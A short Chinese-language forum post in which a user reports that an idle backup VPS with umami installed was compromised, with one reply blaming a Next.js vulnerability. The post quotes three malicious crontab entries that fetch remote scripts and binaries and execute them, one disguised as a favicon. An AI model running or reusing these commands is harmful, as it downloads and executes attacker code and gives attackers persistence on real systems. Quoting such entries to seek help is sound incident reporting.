小鸡中招了,这也是因为 umami 吗？

This topic created in 145 days ago, the information mentioned may be changed or developed.

一台吃灰，只做备份的小鸡，crontab 里多出了下面几条：

* * * * * wget -q -O - http://80.64.16.241/unk.sh | sh > /dev/null 2>&1
30 3,15 * * * (wget -q -O /tmp/corn https://pub-dc84e32afcfa417fa04d36454032549b.r2.dev/corn || curl -fsSL https://pub-dc84e32afcfa417fa04d36454032549b.r2.dev/corn -o /tmp/corn) && chmod +x /tmp/corn && /tmp/corn >/dev/null 2>&1; rm -f /tmp/corn

30 3,15 * * * ((curl -fsSL -m180 http://s3.amazonaws.com/whale-corps-dev/favicon1.ico || wget -T180 -q http://s3.amazonaws.com/whale-corps-dev/favicon1.ico )|sh

另外 apt upgrade 也报错了 docker,也打不开了

这台小鸡装过 umami ，装完就没再管它，管理密码都不记得了会是因为它的原因吗？

umami

crontab

Docker

1 replies • 2025-12-24 20:45:27 +08:00

q000q000

Dec 24, 2025

next.js 的洞，升级一下就好了。